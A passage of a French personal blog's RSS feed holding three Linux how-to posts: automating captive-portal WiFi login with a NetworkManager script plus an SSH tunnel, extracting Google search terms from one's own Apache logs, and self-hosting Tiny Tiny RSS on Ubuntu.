			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/07/wifi.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/07/wifi.png" alt="" title="wifi" width="128" height="128" class="alignright size-full wp-image-2788" /></a><br />
Certains réseaux WiFi sont ouverts (sans clé de sécurité) mais nécessitent une authentification. C&#8217;est souvent le cas des points d&#8217;accès dans les gares, les hôtels, les campings… Cela concerne également les réseaux ouverts tels que <em>FreeWifi</em>.</p>
<p>Une fois connecté à un tel réseau, lorsqu&#8217;avec votre navigateur vous tentez d&#8217;accéder à n&#8217;importe quel site, vous êtes redirigé vers une page d&#8217;authentification demandant votre identifiant et votre mot de passe (parfois il ne s&#8217;agit que d&#8217;accepter des conditions d&#8217;utilisation). Après avoir renseigné ces informations, vous êtes authentifié et pouvez accéder à Internet normalement.</p>
<p>Mais il faut avouer que s&#8217;authentifier manuellement à chaque connexion est pénible. D&#8217;autant plus que la redirection HTTP vers la page d&#8217;authentification ne fonctionne… que pour HTTP. Ainsi, alors que vous êtes connecté au réseau Wifi, votre client mail ne parviendra à récupérer les mails, votre client XMPP n&#8217;arrivera pas à se connecter au serveur… mais sans message indiquant la cause du problème.</p>
<p>Le but de ce billet est de mettre en place une authentification automatique lors de la connexion au réseau.</p>
<h3>Authentification en ligne de commande</h3>
<p>La première étape est de pouvoir réaliser cette authentification en ligne de commande, à partir de l&#8217;identifiant et du mot de passe. C&#8217;est très simple, il suffit d&#8217;imiter ce que fait le navigateur lors du clic sur le bouton <em>Valider</em>.</p>
<p>Pour cela, deux choses sont nécessaires&nbsp;: l&#8217;URL de la page de validation d&#8217;authentification et les champs de formulaire qu&#8217;elle utilise.</p>
<p>Pour les connaître, il faut regarder le code source de la page sur laquelle vous êtes redirigés, en particulier la balise <code>form</code>. Voici un exemple de ce que vous pouvez obtenir <em>(le HTML n&#8217;est pas toujours super propre sur ce genre de pages)</em>&nbsp;:</p>
<pre>&lt;form method="post" action="<strong>http://10.9.0.1:8000/</strong>"&gt;
Login &lt;input name="<strong>auth_user</strong>" type="text"&gt;
Password &lt;input name="<strong>auth_pass</strong>" type="password"&gt;
&lt;input type="checkbox" name="regagree" value="valeur" onClick="ChangeStatut(this.form)"&gt; J'accepte le règlement
&lt;input name="redirurl" type="hidden" value="http://www.google.com/search?ie=UTF-8"&gt;
&lt;input type="submit" name="<strong>accept</strong>" value="<strong>Continuer</strong>" disabled&gt;
&lt;/form&gt;</pre>
<p>Tout y est. La valeur de l&#8217;attribut <code>action</code> est l&#8217;URL de validation, et le nom des champs utilisés est dans l&#8217;attribut <code>name</code> de chaque balise <code>input</code>.</p>
<p>Dans cet exemple, seuls <code>auth_user</code> et <code>auth_pass</code> semblent utiles, mais parfois le serveur effectue des vérifications (étranges) supplémentaires. Ici, il vérifie qu&#8217;il y a bien un attribut <code>accept</code> qui vaut <code>Continuer</code> (allez savoir pourquoi).</p>
<p>À partir de ces champs, nous allons construire la chaîne des paramètres sous la forme&nbsp;:</p>
<pre>champ1=valeur1&amp;champ2=valeur2&amp;champ3=valeur3</pre>
<p>et l&#8217;envoyer au serveur en <a href="http://fr.wikipedia.org/wiki/HTTP#M.C3.A9thodes"><code>POST</code></a>, par exemple grâce à la commande <code>POST</code> <em>(en majuscules, ça surprend un peu pour une commande shell)</em>&nbsp;: </p>
<pre>POST http://10.9.0.1:8000/ &lt;&lt;&lt; 'auth_user=<em>IDENTIFIANT</em>&amp;auth_pass=<em>MOT_DE_PASSE</em>&amp;accept=Continuer'</pre>
<p>Si la page d&#8217;authentification est en HTTPS, il faudra installer le paquet <a href="apt://libcrypt-ssleay-perl">libcrypt-ssleay-perl</a>, ou alors utiliser <code>wget</code>&nbsp;:</p>
<pre>wget -qO- https://10.9.0.1:8000/ --post-data='auth_user=<em>IDENTIFIANT</em>&amp;auth_pass=<em>MOT_DE_PASSE</em>&amp;accept=Continuer'</pre>
<p>Voilà, nous avons reproduit en ligne de commande le comportement du navigateur pour l&#8217;authentification.<br />
Nous devons maintenant faire en sorte que cette commande soit exécutée dès la connexion au réseau WiFi.</p>
<h3>Exécuter un script lors de la connexion</h3>
<p><em>NetworkManager</em> (le gestionnaire de connexion par défaut d&#8217;<em>Ubuntu</em>) permet d&#8217;exécuter des scripts lors de la connexion ou la déconnexion. Pour cela, il suffit de placer le script dans <code>/etc/NetworkManager/dispatcher.d/</code> et de le rendre exécutable.</p>
<p>Le script est appelé avec deux paramètres&nbsp;:</p>
<ul>
<li><code>$1</code>&nbsp;: l&#8217;interface réseau concernée par la connexion ou la déconnexion (<code>wlan0</code> par exemple)&nbsp;;</li>
<li><code>$2</code> ayant pour valeur soit <code>up</code> (pour la connexion), soit <code>down</code> (pour la déconnection).</li>
</ul>
<p>Nous voulons exécuter la commande <code>POST</code> uniquement lors de la connexion de <code>wlan0</code>, et seulement pour le réseau concerné (par exemple celui ayant le nom <code>MonLieuDeVacances</code>).</p>
<p>Il est possible de récupérer le nom du réseau (l&#8217;ESSID) auquel nous sommes connectés grâce à <code>iwconfig</code>&nbsp;:</p>
<pre>iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/'</pre>
<p>Il faut donc créer un script dans <code>/etc/NetworkManager/dispatcher.d/10auth</code>&nbsp;:</p>
<pre>gksudo gedit /etc/NetworkManager/dispatcher.d/10auth</pre>
<p>ayant cette structure&nbsp;:</p>
<pre>#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'MonLieuDeVacances')
            POST http://10.9.0.1:8000/ &lt;&lt;&lt; 'auth_user=<em>IDENTIFIANT</em>&amp;auth_pass=<em>MOT_DE_PASSE</em>&amp;accept=Continuer' ;;
        'MaGare')
            POST http://192.168.0.1 &lt;&lt;&lt; 'accept_cgu=1' ;;
    esac
fi</pre>
<p>Et le rendre exécutable&nbsp;:</p>
<pre>sudo chmod +x /etc/NetworkManager/dispatcher.d/10auth</pre>
<h3>Script pour FreeWifi</h3>
<p>Les pages d&#8217;authentification varient d&#8217;un réseau à l&#8217;autre, il faut donc adapter les paramètres de connexion selon le service utilisé.</p>
<p>Voici le script à utiliser (en adaptant votre identifiant et votre mot de passe) pour le réseau <em>FreeWifi</em> (très connu)&nbsp;:</p>
<pre>#!/bin/bash
if [ "$1 $2" = 'wlan0 up' ]
then
    essid=$(iwconfig wlan0 | grep -o 'ESSID:".*$' | sed 's/^ESSID:"\(.*\)".*$/\1/')
    case "$essid" in
        'FreeWifi')
            wget -qO- https://wifi.free.fr/Auth --post-data='login=<em>IDENTIFIANT</em>&amp;password=<em>MOT_DE_PASSE</em>' ;;
    esac
fi</pre>
<h3>Tunnel SSH</h3>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/07/openssh.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/07/openssh.png" alt="" title="openssh" width="150" height="148" class="alignright size-full wp-image-2792" /></a><br />
Ces réseaux ouverts, gérant éventuellement une authentification HTTP, ne sont pas chiffrés&nbsp;: n&#8217;importe qui écoutant ce qui transite dans les airs pourra récupérer tout le contenu de votre trafic.<br />
Si vous avez un ordinateur allumé chez vous (sur un réseau &laquo;&nbsp;sûr&nbsp;&raquo;) accessible en SSH, je vous conseille de faire passer toutes les connexions dans un tunnel chiffré.</p>
<p>Le principe est simple&nbsp;: dès que vous accédez à un serveur (par exemple en tapant l&#8217;URL dans un navigateur web), l&#8217;ordinateur ne va pas s&#8217;y connecter directement, il va transmettre les informations en passant par un tunnel chiffré à votre serveur SSH, qui lui va s&#8217;y connecter, et vous renvoyer la page à travers le tunnel. Techniquement, le tunnel est un <a href="http://fr.wikipedia.org/wiki/SOCKS">proxy SOCKS</a> écoutant sur un port local (par exemple <code>localhost:3128</code>).</p>
<p>Pour démarrer le tunnel&nbsp;:</p>
<pre>ssh monserveur -CND3128</pre>
<p>Pour configurer le système afin qu&#8217;il utilise le tunnel SSH, Système → Préférences → Serveur mandataire (<code>gnome-network-properties</code>), puis configurer comme sur la capture d&#8217;écran&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/07/proxy.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/07/proxy-300x238.png" alt="" title="proxy" width="300" height="238" class="aligncenter size-medium wp-image-2794" /></a><br />
Dans l&#8217;onglet <em>Hôtes à ignorer</em>, rajouter l&#8217;adresse de la page d&#8217;authentification.</p>
<p>Ainsi, toutes les connexions des logiciels utilisant les paramètres proxy du système passeront par le tunnel. Il est également possible de configurer ceci dans chaque logiciel individuellement (s&#8217;ils le proposent).</p>
<p>Pour <em>Firefox</em>, il est également recommandé dans <a href="about:config">about:config</a> de passer la variable <code>network.proxy.socks_remote_dns</code> à <code>true</code>, afin que les DNS soient résolus également de l&#8217;autre côté du tunnel (sur le réseau &laquo;&nbsp;sûr&nbsp;&raquo;).</p>
<p>Vous trouverez plus d&#8217;infos sur mon <a href="http://blog.rom1v.com/2008/08/presentation-de-ssh/">billet concernant SSH</a>.</p>
<h3>Conclusion</h3>
<p>La connexion à des points d&#8217;accès WiFi publics demandant à chaque fois une authentification ou une acceptation des conditions d&#8217;utilisation devient rapidement insupportable. Il est donc appréciable de l&#8217;automatiser.</p>
<p>De plus, ces réseaux ne sont pas &laquo;&nbsp;sûrs&nbsp;&raquo;, n&#8217;importe qui peut écouter le trafic. Il est donc nécessaire de le chiffrer en passant par un réseau de confiance, par exemple avec un tunnel SSH.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/07/authentification-automatique-a-un-reseau-wifi-avec-networkmanager/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Extraire les recherches Google des logs Apache</title>
		<link>http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/</link>
		<comments>http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/#comments</comments>
		<pubDate>Fri, 24 Jun 2011 13:10:36 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Astuces]]></category>
		<category><![CDATA[Insolite]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[scripts]]></category>
		<category><![CDATA[serveur]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2685</guid>
		<description><![CDATA[Aujourd&#8217;hui, c&#8217;est un billet de distraction pour geeks. Lister les recherches Si vous utilisez Apache, voici une commande qui liste dans l&#8217;ordre alphabétique les recherches Google ayant permis aux internautes d&#8217;arriver sur vos sites&#160;: php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*&#124;grep -o '[?&#038;]q=[^&#038;"]*'&#124;cut -c4-`\");"&#124;sort&#124;uniq -c EDIT 25/06/2011&#160;: cette commande semble échouer lorsque la liste des recherches [...]]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui, c&#8217;est un billet de <em>distraction pour geeks</em>.</p>
<h3>Lister les recherches</h3>
<p>Si vous utilisez <em>Apache</em>, voici une commande qui liste dans l&#8217;ordre alphabétique les recherches <em>Google</em> ayant permis aux internautes d&#8217;arriver sur vos sites&nbsp;:</p>
<pre>php -r "echo urldecode(\"`zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&#038;]q=[^&#038;"]*'|cut -c4-`\");"|sort|uniq -c</pre>
<p><em><strong>EDIT 25/06/2011&nbsp;:</strong> cette commande <a href="http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/#comment-67664">semble échouer</a> lorsque la liste des recherches est trop longue, celle donnée à la fin du billet est donc à préférer.</em><br />
(pour les autres moteurs de recherche, il faudrait s&#8217;inspirer de ce qu&#8217;ont fait les développeurs de <a href="http://piwik.org/faq/general/#faq_39">Piwik</a>)</p>
<p>Voici à quoi ressemble le résultat de la commande&nbsp;:</p>
<pre>      1 ubtunu tiny tiny rss
      5 ubuntu
      1 ubuntu 10.04 change startup screen
      1 ubuntu 10.04 configurer compte messagerie hotmail dans couriel
      3 ubuntu 10.04 cryptage
      1 ubuntu 10.04 écran grub invisible au démarrage
      2 ubuntu 10.04 ecran noir nvidia
      1 ubuntu 10.04 et video nvidia
      1 ubuntu 10.04 grub nvidia
      1 ubuntu 10.04 grub-pc couleur
      4 ubuntu 10.04 installation partition home chiffrée</pre>
<p>Le texte correspond aux recherches, le numéro devant indique le nombre de fois où elles ont été effectuées.</p>
<h3>Analyse</h3>
<h4>Billets les plus recherchés</h4>
<p>Sans conteste, les deux billets qui amènent le plus d&#8217;internautes par <em>Google</em> concernent <a href="http://blog.rom1v.com/2010/07/pluzz-fr-france-televisions-lance-son-service-de-tv-de-rattrapage-non-lisible/">pluzz</a> et <a href="http://blog.rom1v.com/2010/01/installer-une-application-apk-sur-android-a-partir-dun-pc/">apk</a>. Et parfois ça ne doit pas les aider beaucoup&nbsp;: certains recherchent par exemple <em>&laquo;&nbsp;pluzz plus belle la vie&nbsp;&raquo;</em> dans <em>Google</em> à partir d&#8217;<em>Internet Explorer</em>, je ne suis pas sûr que mon script shell pour <em>pluzz</em> réponde à leurs attentes.</p>
<h4>Recherches insolites</h4>
<p>Dans la liste, il y a forcément des recherches drôles ou étranges. En voici quelques unes que j&#8217;ai trouvées dans mes logs&nbsp;:</p>
<ul>
<li><em>&laquo;&nbsp;clitoris.apk&nbsp;&raquo;</em> : il y a vraiment une application pour tout&nbsp;!</li>
<li><em>&laquo;&nbsp;comment afficher 350 sous linux&nbsp;&raquo;</em> : c&#8217;est si différent que sur les autres systèmes d&#8217;exploitation&nbsp;?</li>
<li><em>&laquo;&nbsp;comment on invente une machine pour voler à usage individuelle&nbsp;&raquo;</em>&nbsp;: dérober ou s&#8217;envoler&nbsp;?</li>
<li><em>&laquo;&nbsp;du-ble-plein-les-poches es ce une arnaque&nbsp;&raquo;</em>&nbsp;: sans doute…</li>
<li><em>&laquo;&nbsp;est-il possible de prelever de l&#8217;argent sans que ça se voit sur le compte&nbsp;&raquo;</em>&nbsp;: je veux rester discret…</li>
<li><em>&laquo;&nbsp;l&#8217;ecran d&#8217;un ordinateur portable est de 14,1 pouce avec 1024*768 pixel quelle est la taille de l&#8217;ecran N*H en cm ?&nbsp;&raquo;</em>&nbsp;: le moteur de recherche, j&#8217;en suis sûr, va comprendre ma question, faire le calcul, et me répondre…</li>
<li><em>&laquo;&nbsp;logiciel adopy&nbsp;&raquo;</em>&nbsp;: comme ça se prononce&nbsp;!</li>
<li><em>&laquo;&nbsp;pour quel raison on doit interdire le zoo&nbsp;&raquo;</em>&nbsp;: les animaux c&#8217;est dangereux&nbsp;!
</li>
</ul>
<p>Il y a certains sites qui s&#8217;amusent à référencer ce genre de recherches, par exemple <a href="http://devenirunninjagratuitement.tumblr.com/">Comment devenir un ninja gratuitement&nbsp;?</a></p>
<p>N&#8217;hésitez pas à poster les vôtres…</p>
<h3>Challenge</h3>
<p>J&#8217;ai essayé d&#8217;écrire la commande la plus courte possible. Je n&#8217;ai pas réussi à faire moins de <strong>129 caractères</strong> sans perdre d&#8217;information ou prendre plus de risque (par exemple on pourrait remplacer <code>apache2</code> par <code>a*2</code>, mais c&#8217;est plus risqué).</p>
<p>Par contre, cette commande ne fonctionne pas correctement si l&#8217;on rajoute <code>|less</code> (on ne peut pas se déplacer avec haut et bas), je ne sais pas trop pourquoi ni comment le résoudre (si certains ont une idée).<br />
Une autre commande, sans <code>php</code> (en 141 caractères), ne pose pas ce problème&nbsp;:</p>
<pre>zgrep 'http://www\.google\.\w*/' /var/log/apache2/*|grep -o '[?&#038;]q=[^&#038;"]*'|cut -c4-|echo -e $(sed 's/$/\\n/;s/+/ /g;s/%/\\x/g')|sort|uniq -c</pre>
<p>Si vous avez des astuces pour faire mieux que 129 (ou 141), ne vous gênez pas <img src='http://blog.rom1v.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<h3>Scripts</h3>
<p><a href="http://www.bortzmeyer.org/je-parle-a-mon-moteur-de-recherche.html">D&#8217;autres</a> ont fait <a href="http://www.bortzmeyer.org/files/SearchEngineQueries.py">des scripts plus complets</a>, qui permettent de récupérer des informations supplémentaires, par exemple la page sur laquelle l&#8217;internaute est arrivé en effectuant cette recherche…</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/06/extraire-les-recherches-google-des-logs-apache/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Tiny Tiny RSS : auto-hébergement des flux RSS</title>
		<link>http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/</link>
		<comments>http://blog.rom1v.com/2011/06/tiny-tiny-rss-auto-hebergement-des-flux-rss/#comments</comments>
		<pubDate>Tue, 14 Jun 2011 12:11:41 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Outils]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[puf]]></category>
		<category><![CDATA[auto-hébergement]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[rss]]></category>
		<category><![CDATA[serveur]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2592</guid>
		<description><![CDATA[Je vais expliquer dans ce billet pourquoi et comment installer Tiny Tiny RSS, un gestionnaire de flux RSS sur son serveur. Motivations Pourquoi un serveur ? Il existe de nombreux clients d&#8217;agrégateurs de flux, tels que Liferea sous Gnome ou NewsFox dans Firefox. Cependant, un tel client pose principalement deux problèmes. Le premier, c&#8217;est le [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/06/rss.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/rss-150x150.png" alt="" title="rss" width="150" height="150" class="alignright size-thumbnail wp-image-2603" /></a><br />
Je vais expliquer dans ce billet pourquoi et comment installer <a href="http://tt-rss.org/">Tiny Tiny RSS</a>, un gestionnaire de <a href="http://fr.wikipedia.org/wiki/Flux_RSS">flux RSS</a> sur son serveur.</p>
<h3>Motivations</h3>
<h4>Pourquoi un serveur ?</h4>
<p>Il existe de nombreux clients d&#8217;agrégateurs de flux, tels que <a href="http://liferea.sourceforge.net/">Liferea</a> sous <em>Gnome</em> ou <a href="http://blog.rom1v.com/2008/12/newsfox-plug-in-firefox-agregateur-de-flux-rss/">NewsFox</a> dans <em>Firefox</em>.</p>
<p>Cependant, un tel client pose principalement <strong>deux problèmes</strong>.</p>
<ul>
<li>Le premier, c&#8217;est <strong>le temps d&#8217;attente de mise à jour des flux</strong>. Lors du démarrage, les flux ne sont pas disponibles immédiatement&nbsp;: il faut patienter le temps qu&#8217;il mette à jour chacun des flux auxquels nous sommes abonnés, ce qui peux prendre plusieurs minutes.</li>
<li>Le second, c&#8217;est <strong>la synchronisation</strong>&nbsp;: nous ne pouvons pas lire nos flux à plusieurs endroits (maison, travail, mobile…) en gardant la synchronisation (les flux que nous avons lu sont marqués comme lus sur un ordinateur, mais pas sur un autre).</li>
</ul>
<p>Un gestionnaire de flux doit donc, d&#8217;après moi, forcément être <strong>hébergé sur un serveur</strong>.</p>
<h4>Pourquoi son serveur ?</h4>
<p>De nombreux services en ligne proposent la gestion de  flux RSS (<em>Google Reader</em>, <em>NetVibes</em>, etc.).</p>
<p><strong>Pourquoi donc héberger un tel service sur son propre serveur&nbsp;?</strong></p>
<ul>
<li><strong>Par principe.</strong> Comme pour le <a href="http://blog.rom1v.com/2009/01/nouveau-blog-100-libre/">blog</a> ou les <a href="http://blog.rom1v.com/2009/08/hebergez-vos-mails-sur-ubuntu-server-et-liberez-vous/">mails</a>, autant auto-héberger son propre contenu, qui n&#8217;a rien à faire ailleurs.</li>
<li><strong>Filtrage en entreprise.</strong> Les agrégateurs de flux connus sont souvent bloqués par les proxies d&#8217;entreprise. Un service perso sur son propre serveur aura beaucoup moins de risque d&#8217;être filtré.</li>
<li><strong>Données personnelles.</strong> Les flux auxquels chacun est abonné et les articles lus sont une information importante pour quiconque souhaite renseigner un profil d&#8217;utilisateur. Par exemple, pour <a href="http://www.internetactu.net/2011/06/13/le-risque-de-lindividualisation-de-linternet/">modifier les résultats d&#8217;un moteur de recherche</a> (ou bien d&#8217;autres choses).</li>
<li><strong>Censure.</strong> Les flux RSS peuvent être une source d&#8217;information essentielle (c&#8217;est ma source d&#8217;information principale). Si nous en laissons la gestion à un hébergeur, comment nous assurer qu&#8217;il ne supprimera pas des flux les informations qui le dérangent&nbsp;? Par exemple, s&#8217;il décide malencontreusement de supprimer tous les articles qui parlent de <em>Wikileaks</em>&nbsp;? Je sais que ce n&#8217;est pas imaginable dans un pays démocratique.<br />
Mais regardons quand même (au hasard) l&#8217;exemple de <em>Google</em>, qui <a href="http://www.numerama.com/magazine/18993-google-etend-l-auto-censure-de-son-moteur-de-recherche.html">continue d&#8217;étendre l&#8217;auto-censure de son moteur de recherche</a>, dans un pays exerçant des <a href="http://www.numerama.com/magazine/17507-amazon-n-heberge-plus-wikileaks-apres-des-pressions-politiques-et-commerciales.html">pressions politiques et commerciales</a> pour retirer des contenus dérangeants hors de toute décision judiciaire (parfois en <a href="http://www.numerama.com/magazine/17519-wikileaks-inaccessible-apres-la-perte-de-son-dns.html">supprimant des entrées DNS</a>, même pour <a href="http://www.numerama.com/magazine/17946-rojadirecta-juge-legal-en-espagne-saisi-par-les-usa-maj.html">un contenu légal dans le pays concerné</a>), pressions auxquelles <a href="http://www.pcinpact.com/actu/news/60765-twitter-paypal-blocage-julian-assange.htm">peu d&#8217;entreprises résistent</a>, y compris lorsqu&#8217;il s&#8217;agit d&#8217;<a href="http://www.pcinpact.com/actu/news/61265-wikileaks-twitter-injonction-cablegate-notification.htm">obtenir des informations politiques</a>… et ils ne <a href="http://www.pcinpact.com/actu/news/64023-pipa-protect-ip-act-us.htm">comptent pas s&#8217;arrêter en si bon chemin</a>, pour lutter contre ce qu&#8217;ils appellent &laquo;&nbsp;piratage&nbsp;&raquo;. Mais non, censurer certains flux pour des raisons politiques est inimaginable dans un pays démocratique.</li>
</ul>
<h3>Installation</h3>
<p>Je vais expliquer l&#8217;installation de <em>Tiny Tiny RSS</em> pour ma configuration, à savoir <em>Ubuntu Server 11.04</em>, avec <em>Apache</em> et <em>MySQL</em>.<br />
Je vais l&#8217;installer dans <code>~/flux</code> (le répertoire <code>flux</code> de mon home), avec un lien symbolique <code>/var/www/flux</code>. L&#8217;application sera accessible à partir de <code>flux.rom1v.com</code>. Adaptez ces valeurs selon vos besoins.</p>
<h4>Dépendances</h4>
<p><em>Tiny Tiny RSS</em> a besoin de <code>php5-curl</code>&nbsp;:</p>
<pre>sudo apt-get install php5-curl</pre>
<h4>Téléchargement</h4>
<p>Télécharger la dernière version en bas de <a href="http://tt-rss.org/redmine/">la page officielle</a> (actuellement la 1.5.4).</p>
<p>Extraire l&#8217;archive dans <code>~/</code>&nbsp;:</p>
<pre>tar xzf tt-rss-1.5.4.tar.gz</pre>
<p>Et renommer le répertoire&nbsp;:</p>
<pre>mv tt-rss-1.5.4 flux</pre>
<h4>Base de données</h4>
<p>Il faut ensuite initialiser la base de données, grâce aux scripts fournis. Pour cela, aller dans le répertoire des scripts&nbsp;:</p>
<pre>cd flux/schema</pre>
<p>Puis se connecter à <em>MySQL</em>&nbsp;:</p>
<pre>$ mysql -uroot -p
Enter password:</pre>
<p>Une fois connecté, créer la base de données <code>flux</code>&nbsp;:</p>
<pre>mysql> CREATE DATABASE flux;
Query OK, 1 row affected (0,00 sec)</pre>
<p>Puis créer un utilisateur <code>flux</code> avec les droits sur cette base (on pourra générer son mot de passe grâce à <a href="http://blog.rom1v.com/2009/11/generer-des-mots-de-passe-aleatoires/">pwgen</a>)&nbsp;:</p>
<pre>mysql> GRANT ALL PRIVILEGES ON flux.* TO flux@localhost IDENTIFIED BY 'unmotdepasse';
Query OK, 0 rows affected (0.04 sec)</pre>
<p>Initialiser la base de données&nbsp;:</p>
<pre>mysql> USE flux
Database changed

mysql> \. ttrss_schema_mysql.sql</pre>
<p>La base de données est prête.</p>
<h4>Configuration</h4>
<p>Retourner dans le répertoire <code>~/flux</code>&nbsp;:</p>
<pre>cd ..</pre>
<p>Copier le modèle du fichier de configuration&nbsp;:</p>
<pre>cp config.php-dist config.php</pre>
<p>Puis l&#8217;éditer, par exemple&nbsp;:</p>
<pre>nano config.php</pre>
<p>Modifier les informations de connexion à la base de données&nbsp;:</p>
<pre>        define('DB_TYPE', "mysql");
        define('DB_HOST', "localhost");
        define('DB_USER', "flux");
        define('DB_NAME', "flux");
        define('DB_PASS', "unmotdepasse");</pre>
<p>Modifier l&#8217;URL d&#8217;accès à l&#8217;application, pour moi&nbsp;:</p>
<pre>        define('SELF_URL_PATH', 'http://flux.rom1v.com');</pre>
<p>Désactiver le mode <em>utilisateur unique</em> (sans quoi l&#8217;accès à l&#8217;application sera public sans authentification)&nbsp;:</p>
<pre>        define('SINGLE_USER_MODE', false);</pre>
<p>Si <em>Tiny Tiny RSS</em> est installé à la racine du site (c&#8217;est mon cas&nbsp;: <code>flux.rom1v.com/</code>), il faut modifier le répertoire d&#8217;icônes, car <code>/icons</code> est réservé par <em>Apache</em>&nbsp;:</p>
<pre>        define('ICONS_DIR', "tt-icons");
        define('ICONS_URL', "tt-icons");</pre>
<p>Je conseille de désactiver la vérification des nouvelles versions, car lorsque le site de <em>Tiny Tiny RSS</em> ne répond plus, l&#8217;application rencontre des difficultés&nbsp;:</p>
<pre>        define('CHECK_FOR_NEW_VERSION', false);</pre>
<p>Pour les performances, activer la compression&nbsp;:</p>
<pre>        define('ENABLE_GZIP_OUTPUT', true);</pre>
<p>Enfin, une fois que la configuration est terminée, modifier la ligne&nbsp;:</p>
<pre>        define('ISCONFIGURED', true);</pre>
<p>Les modifications du fichier de configuration sont terminés.</p>
<p>Maintenant, renommer le répetoire <code>icons</code> (comme dans le fichier de configuration)&nbsp;:</p>
<pre>mv icons tt-icons</pre>
<h4>Serveur web</h4>
<p>Il faut maintenant héberger l&#8217;application sur <em>Apache</em>.</p>
<p>Tout d&#8217;abord, donner les droits à <code>www-data</code> sur les répertoires où il a besoin d&#8217;écrire&nbsp;:</p>
<pre>sudo chown -R www-data: cache tt-icons lock</pre>
<p>Puis faire un lien symbolique vers le répertoire <code>/var/www/</code>&nbsp;:</p>
<pre>sudo ln -s ~/flux /var/www/</pre>
<p>Créer (au besoin) un nouveau <em>VirtualHost</em> pour le site, dans le répertoire <code>/etc/apache2/sites-available</code> (pour moi dans un fichier nommé <code>flux.rom1v.com</code>)&nbsp;:</p>
<pre>&lt;VirtualHost *:80&gt;
	DocumentRoot	/var/www/flux
	ServerName	flux.rom1v.com

	&lt;Directory /var/www/flux/&gt;
		Options FollowSymLinks MultiViews
		AllowOverride All
		Order allow,deny
		allow from all
	&lt;/Directory&gt;

	ErrorLog	/var/log/apache2/flux_error.log
	CustomLog	/var/log/apache2/flux_access.log combined

&lt;/VirtualHost&gt;</pre>
<p>Activer le site&nbsp;:</p>
<pre>sudo a2ensite flux.rom1v.com</pre>
<p>Redémarrer <em>Apache</em> (un simple <code>reload</code> aurait suffit si nous n&#8217;avions pas installé <code>php5-curl</code> tout à l&#8217;heure)&nbsp;:</p>
<pre>sudo service apache2 restart</pre>
<h3>Configuration utilisateur</h3>
<h4>Compte utilisateur</h4>
<p>L&#8217;application doit maintenant fonctionner. S&#8217;y connecter, avec l&#8217;utilisateur <code>admin</code> et le mot de passe <code>password</code> (l&#8217;utilisateur par défaut), puis aller dans la configuration et changer le mot de passe.</p>
<h4>Importation et exportation</h4>
<p><em>Tiny Tiny RSS</em> permet l&#8217;importation et l&#8217;exportation d&#8217;un fichier <a href="http://fr.wikipedia.org/wiki/OPML">OPML</a>. Il est ainsi possible de migrer facilement d&#8217;un gestionnaire de flux à un autre.</p>
<h4>Intégration à Firefox</h4>
<p>Il est possible d&#8217;associer son instance de <em>Tiny Tiny RSS</em> à <em>Firefox</em>&nbsp;: toujours dans la configuration, dans l&#8217;onglet <em>Flux</em>, <em>Intégration à Firefox</em>, cliquer sur le bouton.</p>
<p>Pour tester, se rendre sur un site, et afficher la liste des flux disponibles. Pour cela, cliquer sur le petit icône à gauche de l&#8217;adresse, puis sur <em>Plus d&#8217;informations…</em>, sur l&#8217;onglet <em>Flux</em> (s&#8217;il y en a un), et enfin sur le flux désiré. Par exemple, pour <a href="http://blog.rom1v.com/feed">ce blog</a>&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/06/blog-rss.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/06/blog-rss-300x247.png" alt="" title="blog-rss" width="300" height="247" class="aligncenter size-medium wp-image-2593" /></a></p>
<p>En cliquant sur <em>S&#8217;abonner maintenant</em>, <em>Firefox</em> devrait proposer d&#8217;utiliser <em>Tiny Tiny RSS</em>.</p>
<h3>Programmation de la mise à jour des flux</h3>
<p>Il reste encore une étape importante&nbsp;: le serveur doit régulièrement mettre à jour le contenu de chacun des flux auxquels nous sommes abonnés.</p>
